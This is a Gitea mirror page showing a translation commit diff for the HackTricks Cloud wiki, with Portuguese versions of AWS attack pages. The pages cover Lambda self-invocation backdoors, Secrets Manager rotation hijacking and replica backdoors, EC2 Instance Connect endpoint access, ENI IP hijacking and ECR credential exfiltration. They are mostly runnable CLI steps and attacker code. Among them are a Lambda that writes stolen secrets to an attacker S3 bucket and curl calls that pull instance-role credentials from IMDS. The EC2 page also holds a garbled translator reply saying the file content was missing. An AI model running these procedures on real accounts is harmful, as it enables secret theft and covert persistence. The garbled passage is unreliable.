gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2025-12-09 14:20:48 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/aws-security/aws-persistence/aws-l

Browse Source
This commit is contained in:
Translator
2025-10-23 13:04:27 +00:00
parent ff352c1e50
commit ce2c7c6bf6
18 changed files with 461 additions and 392 deletions
Download Patch File Download Diff File Expand all files Collapse all files

1
searchindex.js
View File

File diff suppressed because one or more lines are too long

23
src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-async-self-loop-persistence.md
View File

@@ -1,10 +1,12 @@
# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
Abuse Lambda asynchronous Destinations together with the Recursion configuration para fazer uma função re-invocar-se continuamente sem um agendador externo (sem EventBridge, cron, etc.). Por padrão, Lambda termina loops recursivos, mas definir a configuração Recursion para Allow reativa-os. Destinations entregam do lado do serviço para invocações async, então uma única invoke seed cria um canal stealthy, sem código, tipo heartbeat/backdoor. Opcionalmente, limite com reserved concurrency para manter o ruído baixo.
{{#include ../../../../banners/hacktricks-training.md}}
Abusar das Destinations assíncronas do Lambda juntamente com a configuração Recursion para fazer uma função se re-invocar continuamente sem um agendador externo (sem EventBridge, cron, etc.). Por padrão, o Lambda termina loops recursivos, mas definir a recursion config para Allow reativa-os. Destinations são entregues no lado do serviço para invocações assíncronas, então uma única invocação seed cria um canal stealthy, code-free de heartbeat/backdoor. Opcionalmente limite com reserved concurrency para manter o ruído baixo.
Notas
- Lambda não permite configurar a função para ser diretamente seu próprio destination. Use um function alias como destination e permita que o execution role invoque esse alias.
- Permissões mínimas: habilidade para ler/atualizar o event invoke config e recursion config da função alvo, publicar uma version e gerenciar um alias, e atualizar a execution role policy da função para permitir lambda:InvokeFunction no alias.
- Lambda não permite configurar a função para ser seu próprio destination diretamente. Use um function alias como destination e permita que a execution role invoque esse alias.
- Permissões mínimas: capacidade de ler/atualizar o event invoke config e recursion config da função alvo, publicar uma versão e gerenciar um alias, e atualizar a policy da execution role da função para permitir lambda:InvokeFunction no alias.
## Requisitos
- Region: us-east-1
@@ -12,9 +14,9 @@ Notas
- REGION=us-east-1
- TARGET_FN=<target-lambda-name>
## Etapas
## Passos
1) Obter o ARN da função e a configuração atual de Recursion
1) Obtenha o ARN da função e a configuração atual de recursion
```
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
@@ -29,7 +31,7 @@ aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-vers
fi
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
```
3) Permitir que o papel de execução da função invoque o alias (requerido por Lambda Destinations→Lambda)
3) Permitir que a role de execução da função invoque o alias (requerido por Lambda Destinations→Lambda)
```
# Set this to the execution role name used by the target function
ROLE_NAME=<lambda-execution-role-name>
@@ -47,7 +49,7 @@ cat > /tmp/invoke-self-policy.json <<EOF
EOF
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
```
4) Configure o destino assíncrono para o alias (self via alias) e desative retries
4) Configure o destino assíncrono para o alias (a própria função via alias) e desative as tentativas.
```
aws lambda put-function-event-invoke-config \
--function-name "$TARGET_FN" \
@@ -63,7 +65,7 @@ aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --regio
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
```
6) Disparar uma única invocação assíncrona
6) Inicie uma única invocação assíncrona
```
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
```
@@ -73,7 +75,7 @@ aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
# or check CloudWatch Metrics for Invocations increasing
```
8) Opcional stealth throttle
8) Limitação furtiva opcional
```
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
```
@@ -89,4 +91,5 @@ ROLE_NAME=<lambda-execution-role-name>
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
```
## Impacto
- Uma única async invoke faz com que a Lambda re-invoque continuamente a si mesma sem um agendador externo, permitindo persistence/heartbeat furtiva. Reserved concurrency pode limitar o ruído a uma única warm execution.
- Uma única async invoke faz com que a Lambda re-invoque continuamente a si mesma sem um scheduler externo, permitindo persistência/heartbeat furtiva. Reserved concurrency pode limitar o ruído a uma única warm execution.
{{#include ../../../../banners/hacktricks-training.md}}

80
src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md
View File

@@ -1,10 +1,10 @@
# AWS - Secrets Manager Persistência
# AWS - Secrets Manager Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## Secrets Manager
Para mais informações, consulte:
Para mais informações confira:
{{#ref}}
../../aws-services/aws-secrets-manager-enum.md
@@ -12,13 +12,13 @@ Para mais informações, consulte:
### Via Resource Policies
É possível **conceder acesso a secrets a contas externas** via resource policies. Consulte a [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) para mais informações. Observe que, para **acessar um secret**, a conta externa também **precisará de acesso à chave KMS que criptografa o secret**.
É possível **conceder acesso a secrets a contas externas** via resource policies. Confira a [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) para mais informações. Observe que para **acessar um secret**, a conta externa também **precisará de acesso à KMS key que encripta o secret**.
### Via Secrets Rotate Lambda
Para **rotacionar secrets** automaticamente uma **Lambda** configurada é chamada. Se um atacante conseguir **alterar** o **código**, ele poderia diretamente **exfiltrate the new secret** para si.
Para **rotacionar secrets** automaticamente, uma **Lambda** configurada é chamada. Se um atacante pudesse **change** o **code** ele poderia diretamente **exfiltrate o novo secret** para si.
This is how lambda code for such action could look like:
Abaixo um exemplo de como o lambda code para tal ação poderia ser:
```python
import boto3
@@ -48,33 +48,27 @@ import string
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
return password
```
{{#include ../../../../banners/hacktricks-training.md}}
### Substituir a Lambda de rotação por uma função controlada pelo atacante via RotateSecret
Abuse `secretsmanager:RotateSecret` para rebindar um secret para uma Lambda de rotação controlada pelo atacante e acionar uma rotação imediata. A função maliciosa exfiltra as versões do secret (AWSCURRENT/AWSPENDING) durante os passos de rotação (createSecret/setSecret/testSecret/finishSecret) para um sink do atacante (por exemplo, S3 ou HTTP externo).
- Requirements
- Permissions: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` na Lambda do atacante, `iam:CreateRole/PassRole/PutRolePolicy` (ou AttachRolePolicy) para provisionar a role de execução da Lambda com `secretsmanager:GetSecretValue` e preferencialmente `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (para que a rotação continue funcionando), KMS `kms:Decrypt` para a chave KMS do secret, e `s3:PutObject` (ou egress de saída) para exfiltração.
- A target secret id (`SecretId`) com rotação habilitada ou a habilidade de habilitar rotação.
- Impact
- O atacante obtém o(s) valor(es) do secret sem modificar o código legítimo de rotação. Apenas a configuração de rotação é alterada para apontar para a Lambda do atacante. Se não for detectado, rotações agendadas futuras continuarão a invocar a função do atacante também.
### Troque a Lambda de rotação por uma função controlada pelo atacante via RotateSecret
Abusar de `secretsmanager:RotateSecret` para reatribuir um secret a uma rotation Lambda controlada pelo atacante e disparar uma rotação imediata. A função maliciosa exfiltra as versões do segredo (AWSCURRENT/AWSPENDING) durante os passos de rotação (createSecret/setSecret/testSecret/finishSecret) para um destino do atacante (por exemplo, S3 ou HTTP externo).
- Requisitos
- Permissions: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` on the attacker Lambda, `iam:CreateRole/PassRole/PutRolePolicy` (or AttachRolePolicy) to provision the Lambda execution role with `secretsmanager:GetSecretValue` and preferably `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (so rotation keeps working), KMS `kms:Decrypt` for the secret KMS key, and `s3:PutObject` (or outbound egress) for exfiltration.
- A target secret id (`SecretId`) with rotation enabled or the ability to enable rotation.
- Impacto
- O atacante obtém o(s) valor(es) do segredo sem modificar o código legítimo de rotação. Apenas a configuração de rotação é alterada para apontar para a Lambda do atacante. Se não for detectado, rotações futuras agendadas continuarão a invocar a função do atacante.
- Etapas do ataque (CLI)
1) Prepare o destino do atacante e a execution role do Lambda
- Create S3 bucket for exfiltration and an execution role trusted by Lambda with permissions to read the secret and write to S3 (plus logs/KMS as needed).
- Attack steps (CLI)
1) Prepare attacker sink and Lambda role
- Crie um bucket S3 para exfiltração e uma execution role confiada pela Lambda com permissões para ler o secret e escrever no S3 (além de logs/KMS conforme necessário).
2) Deploy attacker Lambda that on each rotation step fetches the secret value(s) and writes them to S3. Minimal rotation logic can just copy AWSCURRENT to AWSPENDING and promote it in finishSecret to keep the service healthy.
3) Reatribua a rotação e acione
3) Rebind rotation and trigger
- `aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately`
4) Verifique a exfiltração listando o prefixo S3 para esse secret e inspecionando os artefatos JSON.
5) (Opcional) Restaure a Lambda de rotação original para reduzir a detecção.
4) Verify exfiltration by listing the S3 prefix for that secret and inspecting the JSON artifacts.
5) (Optional) Restore the original rotation Lambda to reduce detection.
- Exemplo de Lambda atacante (Python) exfiltrando para S3
- Example attacker Lambda (Python) exfiltrating to S3
- Environment: `EXFIL_BUCKET=<bucket>`
- Handler: `lambda_function.lambda_handler`
```python
@@ -102,19 +96,19 @@ write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')
# Minimal rotation (optional): copy current->pending and promote in finishSecret
# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)
```
### Version Stage Hijacking para Persistência Clandestina (custom stage + fast AWSCURRENT flip)
### Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)
Abuse Secrets Manager version staging labels para plantar uma versão de secret controlada pelo atacante e mantê-la oculta sob um stage customizado (por exemplo, `ATTACKER`) enquanto a produção continua usando o original `AWSCURRENT`. A qualquer momento, mova `AWSCURRENT` para a versão do atacante para contaminar workloads dependentes, depois restaure para minimizar a detecção. Isso fornece persistência de backdoor discreta e manipulação rápida do tempo-de-uso sem mudar o nome do secret ou a config de rotation.
Abusar dos rótulos de staging de versão do Secrets Manager para plantar uma versão do secret controlada pelo atacante e mantê-la oculta em um stage personalizado (por exemplo, `ATTACKER`) enquanto a produção continua a usar o `AWSCURRENT` original. A qualquer momento, mova `AWSCURRENT` para a versão do atacante para envenenar workloads dependentes e então restaure-o para minimizar a detecção. Isso fornece backdoor persistence furtiva e manipulação rápida de time-of-use sem alterar o nome do secret ou a rotation config.
- Requirements
- Permissions: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (para verificação)
- Target secret id in the Region.
- Requisitos
- Permissões: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (para verificação)
- ID do secret alvo na Região.
- Impact
- Mantenha uma versão oculta e controlada pelo atacante de um secret e flip `AWSCURRENT` para ela de forma atômica sob demanda, influenciando qualquer consumidor que resolva o mesmo nome de secret. O flip e o rápido revert reduzem a chance de detecção enquanto permitem comprometimento no momento do uso.
- Impacto
- Mantenha uma versão oculta e controlada pelo atacante de um secret e altere, de forma atômica, o `AWSCURRENT` para ela sob demanda, influenciando qualquer consumidor que resolva o mesmo nome do secret. A troca e a rápida reversão reduzem a chance de detecção enquanto permitem um compromise de time-of-use.
- Attack steps (CLI)
- Preparation
- Preparação
- `export SECRET_ID=<target secret id or arn>`
<details>
@@ -168,22 +162,22 @@ aws secretsmanager update-secret-version-stage \
</details>
- Notas
- Quando você fornecer `--client-request-token`, Secrets Manager usa-o como o `VersionId`. Adicionar uma nova versão sem definir explicitamente `--version-stages` move `AWSCURRENT` para a nova versão por padrão, e marca a anterior como `AWSPREVIOUS`.
- Quando você fornecer `--client-request-token`, Secrets Manager o usa como o `VersionId`. Adicionar uma nova versão sem definir explicitamente `--version-stages` move `AWSCURRENT` para a nova versão por padrão e marca a anterior como `AWSPREVIOUS`.
### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)
Abuse da replicação multi-Region do Secrets Manager para criar uma réplica de um secret alvo em uma Região menos monitorada, criptografá-la com uma chave KMS controlada pelo atacante nessa Região, então promover a réplica para um secret independente e anexar uma resource policy permissiva que conceda ao atacante acesso de leitura. O secret original na Região primária permanece inalterado, proporcionando acesso durável e furtivo ao valor do secret via a réplica promovida enquanto contorna restrições de KMS/policy na primária.
Abuse a replicação multi-Region do Secrets Manager para criar uma réplica de um secret alvo em uma Região menos monitorada, criptografá-la com uma chave KMS controlada pelo atacante nessa Região, promover a réplica para um secret independente e anexar uma resource policy permissiva concedendo ao atacante acesso de leitura. O secret original na Região primária permanece inalterado, proporcionando um caminho de acesso duradouro e discreto ao valor do secret através da réplica promovida, enquanto contorna restrições de KMS/policy no primário.
- Requisitos
- Permissões: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
- Na Região da réplica: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (ou `kms:PutKeyPolicy`) para permitir que o principal atacante faça `kms:Decrypt`.
- Na Região da réplica: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (ou `kms:PutKeyPolicy`) para permitir que o principal atacante tenha `kms:Decrypt`.
- Um principal atacante (user/role) para receber acesso de leitura ao secret promovido.
- Impacto
- Caminho de acesso persistente entre Regiões ao valor do secret através de uma réplica standalone sob um KMS CMK controlado pelo atacante e resource policy permissiva. O secret primário na Região original permanece intacto.
- Caminho de acesso persistente entre Regiões ao valor do secret através de uma réplica independente sob uma CMK do KMS controlada pelo atacante e uma resource policy permissiva. O secret primário na Região original permanece intocado.
- Attack (CLI)
- Ataque (CLI)
- Vars
```bash
export R1=<primary-region> # e.g., us-east-1
@@ -205,20 +199,20 @@ aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-
# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
```
2) Replicar o secret para R2 usando a KMS key do atacante
2) Replicar o secret para R2 usando a attacker KMS key
```bash
aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
```
3) Promover a réplica para uma instância independente no R2
3) Promover a réplica a um nó independente no R2
```bash
# Use the secret name (same across Regions)
NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
```
4) Anexar uma política de recursos permissiva ao segredo independente em R2
4) Anexar política de recurso permissiva ao secret independente em R2
```bash
cat > /tmp/replica_policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
@@ -226,9 +220,9 @@ JSON
aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
```
5) Leia o secret do attacker principal em R2
5) Leia o segredo com o principal do atacante em R2
```bash
# Configure attacker credentials and read
aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
```
{{#include ../../../../banners/hacktricks-training.md}}

32
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md
View File

@@ -2,21 +2,21 @@
{{#include ../../../../banners/hacktricks-training.md}}
Abusar do EC2 Instance Connect Endpoint (EIC Endpoint) para obter acesso SSH de entrada a instâncias EC2 privadas (sem IP público/bastion) através de:
- Criar um EIC Endpoint dentro da sub-rede alvo
- Permitir SSH de entrada no SG alvo a partir do SG do EIC Endpoint
Abuse EC2 Instance Connect Endpoint (EIC Endpoint) para obter acesso SSH de entrada a instâncias EC2 privadas (sem IP público/bastion) por:
- Criar um EIC Endpoint dentro da sub-rede de destino
- Permitir SSH de entrada no SG de destino a partir do SG do EIC Endpoint
- Injetar uma chave pública SSH de curta duração (válida ~60 segundos) com `ec2-instance-connect:SendSSHPublicKey`
- Abrir um túnel EIC e pivoting para a instância para roubar credenciais do instance profile do IMDS
- Abrir um túnel EIC e pivotar para a instância para roubar credenciais do instance profile do IMDS
Impacto: caminho de acesso remoto furtivo para instâncias EC2 privadas que contorna bastions e restrições de IP público. O atacante pode assumir o instance profile e operar na conta.
Impact: caminho de acesso remoto furtivo para instâncias EC2 privadas que contorna bastions e restrições de IP público. O atacante pode assumir o instance profile e operar na conta.
## Requirements
- Permissions to:
## Requisitos
- Permissões para:
- `ec2:CreateInstanceConnectEndpoint`, `ec2:Describe*`, `ec2:AuthorizeSecurityGroupIngress`
- `ec2-instance-connect:SendSSHPublicKey`, `ec2-instance-connect:OpenTunnel`
- Target Linux instance with SSH server and EC2 Instance Connect enabled (Amazon Linux 2 or Ubuntu 20.04+). Default users: `ec2-user` (AL2) or `ubuntu` (Ubuntu).
- Instância Linux alvo com servidor SSH e EC2 Instance Connect habilitado (Amazon Linux 2 ou Ubuntu 20.04+). Usuários padrão: `ec2-user` (AL2) ou `ubuntu` (Ubuntu).
## Variables
## Variáveis
```bash
export REGION=us-east-1
export INSTANCE_ID=<i-xxxxxxxxxxxx>
@@ -73,18 +73,13 @@ TUN_PID=$!; sleep 2
# SSH via the tunnel (within the 60s window)
ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no
```
## Prova de pós-exploração (roubar credenciais do perfil de instância)
## Prova de Post-exploitation (steal instance profile credentials)
```bash
# From the shell inside the instance
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)
```
Você não incluiu o conteúdo do ficheiro. Por favor, cole aqui o conteúdo Markdown (o texto do arquivo src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md) que quer traduzido. Não posso aceder a ficheiros no seu sistema — preciso que cole o texto.
Observações rápidas antes de enviar:
- Vou traduzir apenas o texto em inglês para Português.
- Não vou traduzir código, nomes de técnicas, palavras comuns de hacking, nomes de plataformas cloud/SaaS (ex.: aws, Workspace), a palavra "leak", "pentesting", links, paths, tags ou qualquer marcação Markdown/HTML.
- Mantenha o markdown e as tags exatamente como estão; não as modifique.
I don't have the file content. Please paste the markdown text from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md and I'll translate it to Portuguese.
```json
{
"Code": "Success",
@@ -94,7 +89,7 @@ Observações rápidas antes de enviar:
"Expiration": "2025-10-08T04:09:52Z"
}
```
Use as stolen creds localmente para verificar a identidade:
Use os creds roubados localmente para verificar a identidade:
```bash
export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
@@ -114,5 +109,6 @@ aws ec2 delete-instance-connect-endpoint \
--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"
```
> Notas
> - A chave SSH injetada é válida apenas por ~60 segundos; envie a chave imediatamente antes de abrir o túnel/SSH.
> - A chave SSH injetada é válida por apenas ~60 segundos; envie a chave imediatamente antes de abrir o túnel/SSH.
> - `OS_USER` deve corresponder à AMI (por exemplo, `ubuntu` para Ubuntu, `ec2-user` para Amazon Linux 2).
{{#include ../../../../banners/hacktricks-training.md}}

33
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md
View File

@@ -2,49 +2,50 @@
{{#include ../../../../banners/hacktricks-training.md}}
Abuse `ec2:UnassignPrivateIpAddresses` and `ec2:AssignPrivateIpAddresses` para roubar o IP privado secundário de um ENI vítima e movê-lo para um ENI atacante no mesmo subnet/AZ. Muitos serviços internos e security groups restringem acesso por IPs privados específicos. Ao mover esse endereço secundário, o atacante se passa pelo host confiável no L3 e pode alcançar serviços allowlisted.
Abuse `ec2:UnassignPrivateIpAddresses` e `ec2:AssignPrivateIpAddresses` para roubar o endereço IP privado secundário de um ENI vítima e movê-lo para um ENI do atacante no mesmo subnet/AZ. Muitos serviços internos e security groups controlam o acesso por endereços IP privados específicos. Ao mover esse endereço secundário, o atacante se faz passar pelo host confiável em L3 e pode alcançar serviços allowlisted.
Prereqs:
- Permissões: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` no ARN do ENI vítima, e `ec2:AssignPrivateIpAddresses` no ARN do ENI atacante.
- Ambos os ENIs devem estar no mesmo subnet/AZ. O endereço alvo deve ser um IP secundário (o primário não pode ser unassigned).
Pré-requisitos:
- Permissões: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` no ARN do ENI da vítima, e `ec2:AssignPrivateIpAddresses` no ARN do ENI do atacante.
- Ambos os ENIs devem estar no mesmo subnet/AZ. O endereço alvo deve ser um endereço IP secundário (o primário não pode ser desatribuído).
Variables:
Variáveis:
- REGION=us-east-1
- VICTIM_ENI=<eni-xxxxxxxx>
- ATTACKER_ENI=<eni-yyyyyyyy>
- PROTECTED_SG=<sg-protected> # SG on a target service that allows only $HIJACK_IP
- PROTECTED_SG=<sg-protected> # SG em um serviço alvo que permite apenas $HIJACK_IP
- PROTECTED_HOST=<private-dns-or-ip-of-protected-service>
Steps:
1) Pick a secondary IP from the victim ENI
Passos:
1) Escolha um endereço IP secundário do ENI da vítima
```bash
aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
export HIJACK_IP=$(cat HIJACK_IP)
```
2) Garanta que o host protegido permita apenas esse IP (idempotente). Se estiver usando regras SG-to-SG em vez disso, pule.
2) Garanta que o host protegido permita apenas esse IP (idempotente). Se estiver usando regras SG-to-SG, pule.
```bash
aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80 --cidr "$HIJACK_IP/32" --region $REGION || true
```
3) Linha de base: a partir da instância atacante, uma requisição para PROTECTED_HOST deve falhar sem spoofed source (por exemplo, via SSM/SSH)
3) Baseline: a partir da attacker instance, a requisição para PROTECTED_HOST deve falhar sem spoofed source (por exemplo, via SSM/SSH)
```bash
curl -sS --max-time 3 http://$PROTECTED_HOST || true
```
4) Desassociar o IP secundário da ENI da vítima
4) Desassociar o IP secundário do ENI da vítima
```bash
aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI --private-ip-addresses $HIJACK_IP --region $REGION
```
5) Atribua o mesmo IP ao attacker ENI (no AWS CLI v1 adicione `--allow-reassignment`)
5) Atribua o mesmo IP à ENI do atacante (no AWS CLI v1 adicione `--allow-reassignment`)
```bash
aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI --private-ip-addresses $HIJACK_IP --region $REGION
```
6) Verifique se a propriedade foi transferida
6) Verificar se a propriedade foi transferida
```bash
aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
```
7) Da instância atacante, source-bind para o hijacked IP para alcançar o host protegido (certifique-se de que o IP esteja configurado no OS; se não estiver, adicione-o com `ip addr add $HIJACK_IP/<mask> dev eth0`)
7) A partir da attacker instance, faça source-bind para o hijacked IP para alcançar o host protegido (garanta que o IP esteja configurado no SO; se não estiver, adicione-o com `ip addr add $HIJACK_IP/<mask> dev eth0`)
```bash
curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
```
## Impacto
- Contornar IP allowlists e personificar hosts confiáveis dentro da VPC movendo secondary private IPs entre ENIs na mesma subnet/AZ.
- Acessar serviços internos que controlam o acesso por source IPs específicos, permitindo lateral movement e acesso a dados.
- Bypass IP allowlists e impersonate hosts confiáveis dentro da VPC movendo secondary private IPs entre ENIs na mesma subnet/AZ.
- Alcançar serviços internos que controlam o acesso por source IPs específicos, permitindo lateral movement e acesso a dados.
{{#include ../../../../banners/hacktricks-training.md}}

36
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md
View File

@@ -55,7 +55,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
Um atacante com qualquer uma dessas permissões pode **criar ou modificar uma política de ciclo de vida para excluir todas as imagens no repositório** e então **excluir todo o repositório ECR**. Isso resultaria na perda de todas as imagens de container armazenadas no repositório.
Um atacante com qualquer uma dessas permissões pode **criar ou modificar uma lifecycle policy para excluir todas as imagens no repositório** e então **excluir todo o repositório ECR**. Isso resultaria na perda de todas as imagens de container armazenadas no repositório.
```bash
# Create a JSON file with the malicious lifecycle policy
echo '{
@@ -90,11 +90,9 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag
# Delete multiple images from the ECR public repository
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
```
{{#include ../../../../banners/hacktricks-training.md}}
### Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC)
Se o ECR Pull‑Through Cache estiver configurado para registries upstream autenticados (Docker Hub, GHCR, ACR, etc.), as credenciais upstream são armazenadas no AWS Secrets Manager com um prefixo de nome previsível: `ecr-pullthroughcache/`. Operadores às vezes concedem aos admins do ECR amplo acesso de leitura ao Secrets Manager, permitindo credential exfiltration e reutilização fora da AWS.
Se o ECR Pull‑Through Cache estiver configurado para registries upstream autenticados (Docker Hub, GHCR, ACR, etc.), as credenciais upstream são armazenadas no AWS Secrets Manager com um prefixo de nome previsível: `ecr-pullthroughcache/`. Operadores às vezes concedem aos administradores do ECR amplo acesso de leitura ao Secrets Manager, permitindo a exfiltração de credenciais e seu reuso fora da AWS.
Requisitos
- secretsmanager:ListSecrets
@@ -106,7 +104,7 @@ aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
--output text
```
Dump secrets descobertos e analisar campos comuns
Extrair segredos descobertos e analisar campos comuns
```bash
for s in $(aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
@@ -121,20 +119,20 @@ Opcional: validar leaked creds contra o upstream (login somente leitura)
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
```
Impacto
- Ler essas entradas do Secrets Manager gera credenciais reutilizáveis do upstream registry (username/password ou token), que podem ser abusadas fora da AWS para pull de imagens privadas ou acessar repositórios adicionais dependendo das permissões upstream.
- A leitura dessas entradas do Secrets Manager fornece credenciais reutilizáveis do registry upstream (nome de usuário/senha ou token), que podem ser abusadas fora da AWS para baixar imagens privadas ou acessar repositórios adicionais dependendo das permissões upstream.
### Registry-level stealth: disable or downgrade scanning via `ecr:PutRegistryScanningConfiguration`
### Furtividade em nível de registro: desativar ou rebaixar a verificação via `ecr:PutRegistryScanningConfiguration`
Um atacante com permissões de ECR em nível de registry pode reduzir ou desativar silenciosamente a varredura automática de vulnerabilidades para TODOS os repositórios configurando a configuração de varredura do registry para BASIC sem quaisquer regras de scan-on-push. Isso impede que novos image pushes sejam escaneados automaticamente, ocultando imagens vulneráveis ou maliciosas.
Um atacante com permissões de ECR em nível de registro pode silenciosamente reduzir ou desativar a verificação automática de vulnerabilidades para TODOS os repositórios definindo a configuração de scanning do registro para BASIC sem qualquer regra de scan-on-push. Isso impede que novos envios de imagens sejam verificados automaticamente, ocultando imagens vulneráveis ou maliciosas.
Requisitos
- ecr:PutRegistryScanningConfiguration
- ecr:GetRegistryScanningConfiguration
- ecr:PutImageScanningConfiguration (optional, per‑repo)
- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)
- ecr:PutImageScanningConfiguration (opcional, por-repositório)
- ecr:DescribeImages, ecr:DescribeImageScanFindings (verificação)
Rebaixamento do registry inteiro para manual (sem varreduras automáticas)
